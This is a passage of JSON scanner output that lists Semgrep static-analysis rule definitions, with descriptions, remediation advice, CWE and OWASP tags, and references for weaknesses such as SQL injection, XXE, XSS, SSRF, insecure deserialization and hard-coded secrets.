'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","id":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","name":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint","id":"rust.hyper.sql.postgres-taint.postgres-taint","name":"rust.hyper.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","id":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","name":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md)\n","text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","id":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","name":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-direct-response-write.laravel-direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"help":{"markdown":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone)\n - [https://pkg.go.dev/github.com/gorilla/sessions#Options](https://pkg.go.dev/github.com/gorilla/sessions#Options)\n","text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","id":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","name":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"help":{"markdown":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses)\n","text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","id":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","name":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.xss.xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.xss.xss","id":"javascript.browser.xss.xss","name":"javascript.browser.xss.xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.xss.xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization)\n - [https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)\n","text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","id":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","name":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg","id":"javascript.jose.security.jwt-none-alg.jwt-none-alg","name":"javascript.jose.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg","id":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","name":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.jjwt.security.jwt-none-alg.jjwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","id":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","name":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","id":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","name":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"help":{"markdown":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop)\n - [https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n","text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","id":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","name":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"help":{"markdown":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown)\n","text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","id":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","name":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","id":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","name":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"help":{"markdown":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-send.bad-send)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb)\n - [https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html](https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html)\n","text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not 